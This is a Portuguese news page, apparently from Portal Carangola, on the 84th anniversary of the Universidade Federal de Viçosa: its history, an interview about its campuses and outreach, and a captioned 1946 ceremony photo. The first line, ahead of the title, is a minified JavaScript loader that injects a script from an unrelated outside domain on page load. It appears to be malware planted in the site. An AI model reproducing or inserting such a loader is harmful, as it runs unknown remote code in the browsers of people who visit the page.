;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Universidade Federal de Viçosa completa 84 anos - Portal Carangola

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Universidade Federal de Viçosa completa 84 anos

Neste ano de 2010, a Universidade Federal completa 84 anos de existência. Por este motivo, uma equipe do Programa “Raízes” da TV Catuaí de Manhuaçu, afiliada a Rede Minas, liderada pelo repórter e apresentador, Teógenes Nazaré, esteve reportando e mostrando o grande espaço, e as vantangens que a Instuíção oferece aos seus alunos, que tem como principal objetivo, formar grandes profissionais em várias áreas do mercado atual. Em entrevista a Reitoría, em substituição ao Reitor da UFV, professor, Luiz Cláudio Costa,  a assessora Graça Floresta disse ” são 84 anos de uma grande Universidade que vem de uma história sólida, formamos uma grande comunidade, temos hoje três campins, em Viçosa o camping  sede, o campus de Rio Paranaíba na região do triângulo mineiro, e o campus de florestal a 78 km de Belo Horizonte que completou no ano passado 70 anos, uma escola de ensino médio, que hoje já é um campus com cursos superiores.

CASA DOS PREFEITOS NA UFV

Com quase quinze mil estudantes, a UFV é uma grande Universidade com mais de cinquenta cursos de graduação, pós graduação, mestrado e doutorado, temos feito um grande trabalho em educação a distância, é uma Universidade que tem uma história, tem tradição e crescimento. pela natureza e formato consolidada em que foi criada a UFV, ela faz um trabalho importantíssimo de extensão, e é este trabalho que nos permite o relacionamento com os municípios e com a região aqui em nosso entorno, nós temos vários projetos de parcerias com secretarias estaduais,  vários ministérios e prefeituras. Um dos projetos pioneiros que temos hoje, idealizado pelo professor Luiz Cláudio ano passado, é a criação da casa dos prefeitos, que se preocupa com o relacionamento da Universidade com as prefeituras. Então nós, institucionalizamos este relacionamento. Nossa pesquisa é de ponta e reconhecida internacionalmente, em especial. E em especial,  2010 tem sido um ano de expansão internacional para UFV” conclui Graça Floresta.

REITOR DA UFV. PROFESSOR LUIZ CLÁUDIO COSTA

A Universidade Federal de Viçosa originou-se da Escola Superior de Agricultura e Veterinária – ESAV, criada pelo  Decreto 6.053,de 30 de março de 1922, do então Presidente do Estado de Minas Gerais .Artur da Silva Bernardes.

A ESAV foi inaugurada em 28 de agosto de 1926, por seu idealizador Arthur Bernardes, que na época ocupava o cargo máximo de Presidente da República. Em 1927 foram iniciadas as atividades didáticas, com a instalação dos Cursos Fundamental e Médio e, no ano seguinte, do Curso Superior de Agricultura. Em 1932 foi a vez do Curso Superior de Veterinária. No período de sua criação, foi convidado por Arthur Bernardes, para organizar e dirigir a ESAV, o Prof. Peter Henry Rolfs. Também veio, a convite, o Engenheiro João Carlos Bello Lisboa para administrar os trabalhos de construção do estabelecimento.

Visando ao desenvolvimento da Escola, em 1948, o Governo do Estado transformou a em Universidade Rural do Estado de Minas Gerais – UREMG, que era composta da Escola Superior de Agricultura, da Escola Superior de Veterinária, da Escola Superior de Ciências Domésticas, da Escola de Especialização (Pós-Graduação), do Serviço de Experimentação e Pesquisa e do Serviço de Extensão.

Graças a sua sólida base e a seu bem estruturado desenvolvimento, a Universidade adquiriu renome em todo o País, o que motivou o Governo Federal a federalizá-la, em 15 de julho de 1969, com o nome de Universidade Federal de Viçosa.

A  Universidade Federal de Viçosa vem acumulando, desde sua fundação, larga experiência e tradição em ensino, pesquisa e extensão, que formam a base de sua filosofia de trabalho.

Desde seus primórdios, a UFV tem se preocupado em promover a integração vertical do ensino. Neste sentido, trabalha de maneira efetiva, mantendo, atualmente, além dos cursos de graduação e pós-graduação, o Colégio Universitário (Ensino Médio Geral), a Central de Ensino e Desenvolvimento Agrário de Florestal (Ensino Médio Técnico e Médio Geral), a Escola Estadual Effie Rolfs (Ensino Fundamental e Médio Geral), o Laboratório de Desenvolvimento Humano (4 a 6 anos) e, ainda, a Creche, que atende a crianças de 3 meses a 6 anos.

Por tradição, a área de Ciências Agrárias é a mais desenvolvida na UFV, sendo conhecida e respeitada no Brasil e no Exterior. Apesar dessa ênfase na agropecuária, a Instituição vem assumindo caráter eclético, expandindo-se noutras áreas do conhecimento, tais como Ciências Biológicas e da Saúde, Ciências Exatas e Tecnológicas e Ciências Humanas, Letras e Artes. Trata-se de uma postura coerente com o conceito da moderna Universidade, tendo em vista que a interação das diversas áreas otimiza os resultados.

A UFV tem contado com o trabalho de professores e pesquisadores estrangeiros de renome na comunidade científica, que colaboram com o seu corpo docente, ao mesmo tempo em que executa um programa de treinamento que mantém diversos profissionais se especializando no Exterior e no País. Nesse particular, a UFV uma das instituições brasileiras com índices mais elevados de pessoal docente com qualificação em nível de pós-graduação.

A  Universidade tem inúmeros motivos para se orgulhar de seu passado e presente de trabalho, sacrifícios e êxitos e, por isso, sente-se forte e preparada para o futuro, pronta a oferecer soluções que efetivamente colaborem para que o Brasil enfrente, com segurança e dignidade, todas as condições adversas que se antevêem na conjuntura mundial.

Escola de Viçosa

O edifício-sede da antiga Escola Superior de Agricultura e Veterinária, inaugurado em agosto de 1926, célula-mater da atual Universidade Federal de Viçosa. Anônimo visitante encontrou, um dia, agasalho espiritual no encantador conjunto arquitetônico do campus, que se confunde com uma natureza exuberante. Passeando pelas pitorescas veredas da Universidade Rural, respirou ar oxigenado, retemperou-se num ambiente alegre e poético. Contemplou e sentiu a grandeza desta obra bem idealizada e talhada para grandiosa destinação. O sobranceiro e majestoso casarão amarelo, o velho prédio principal lhe infundiu admiração às linhas artísticas. Junto dele, deparou-se, em órbita harmoniosa, com prédios modernos que se erguiam, mas o estilo esplendoroso do prédio aqui retratado se sobrepunha aos outros prédios, pelo aspecto sóbrio e majestático. Pórticos e escadarias, como lembrou o referido anônimo, têm papel importante na vida universitária, porque é onde há contato direto, cordial, entre mestres e pupilos, lugar de discípulos se conhecerem e melhor se identificarem, pondo-se a par das ocorrências da “Escola de Viçosa”.

Pedra Fundamental Colégio de Viçosa

Instante do lançamento da pedra fundamental da sede própria do Colégio de Viçosa, na avenida Antônio Gomes Barbosa. A cerimônia, no dia 22 de março de 1.946, contou com a presença de autoridades civis, militares e religiosas, de operários e de muitos jovens, em meio à grande massa popular que acorreu ao local do ato solene. À direita, entre outros sacerdotes, Pe. Álvaro C. Borges. Devidamente paramentado, ele que fora um dos diretores do colégio e pároco de Viçosa, abençoou o início das obras do legendário educandário. Há três outros sacerdotes ali, de batinas pretas: na frente o diácono (depois padre e monsenhor) Geraldo da Costa Val (de corpo inteiro), Pe. Adalberto Sabino da Cruz (ex-vereador de Viçosa, antense) e Pe. José Lopes dos Santos (Padre Nhonhô). Atrás do diácono Geraldo da Costa Val, na extrema direita, o adolescente José Dionísio Ladeira. A rapaziada do cantinho esquerdo não foi possível identificar e muito menos algumas pessoas lá de trás, à exceção do alfaiate João Garcia (João Piloto), moreno e de bigode, ao lado do segundo homem de chapéu, bem atrás. Cá na frente, à esquerda, a moça de óculos escuros seria uma das filhas do Juiz de Direito, Dr. Cândido de Oliveira, de terno escuro, ao lado da esposa, também de vestido escuro, e da outra filha, menor, de braço dado com ele e de vestido claro, bem no centro da lente do esmerilado e, hoje para nós, anônimo fotógrafo. Logo atrás, a mulher mais baixa entre a moça de óculos escuros e a outra senhora, é Nilsa Martino com o esposo Antônio Martino, mais alto e atrás dela. Ainda no lado esquerdo, de óculos escuros, o professor Felício Brandi e bem ao lado dele o comerciante Jorge Ramos (o segundo, de óculos, depois do juiz). Bem atrás da cabeça do senhor Jorge Ramos e entre o oficial militar (quem seria ele?) vemos aqui o funcionário público municipal Custódio de Souza Parreiras (de bigode, óculos e gravata escura) e mais à esquerda o engenheiro-eletricista Mário das Neves Machado. De paletó escuro e sem gravata, com os braços abaixados, já no lado direito da foto (ladeado por um menino de paletó e calça curta e da menina Lúcia Maria Sant’Ana Costa, esta com a mãozinha no rosto) está José Sant’Anna, um dos diretores e principais pilares da vida do colégio, o professor Edson Potsch Magalhães (de óculos escuros, exatamente atrás da menina Lúcia), vislumbrando-se logo atrás dele o rosto do médico Dr. Octávio da Silva Araújo e acima da cabeça deste a de outro médico, Dr. José Felicíssimo de Paula Xavier. O senhor Eurico Salles Tibúrcio é o homem de pele escura e de cabelos brancos, lá no alto, atrás do senhor José Sant’Anna. O agachado, de chapéu na mão, é o senhor Milote, contador do colégio. Abaixo, em pé, com a mão na lata de massa, o mestre-de-obras, senhor Rafael Juliano (entre dois pedreiros?). No plano mais alto, de terno claro, bem no centro da foto, sorridente, o senhor Ludovico Martino. Atrás do senhor Chiquito Sant’Anna (este de óculos, meio calvo e encostado no Pe. Álvaro) e do Dr. José Miguel Pacheco (de chapéu escuro) vemos o rosto do fazendeiro Almiro da Silva Pontes, ex-vereador (de cabelos brancos e de pele clara). Na extrema direita e no alto, o homem atrás de todos, e que parece acenar com a mão esquerda (com um chapéu na mão?) é o cirurgião-dentista Joaquim Leandro Ferreira.

Reportagem: Teógenes Nazaré

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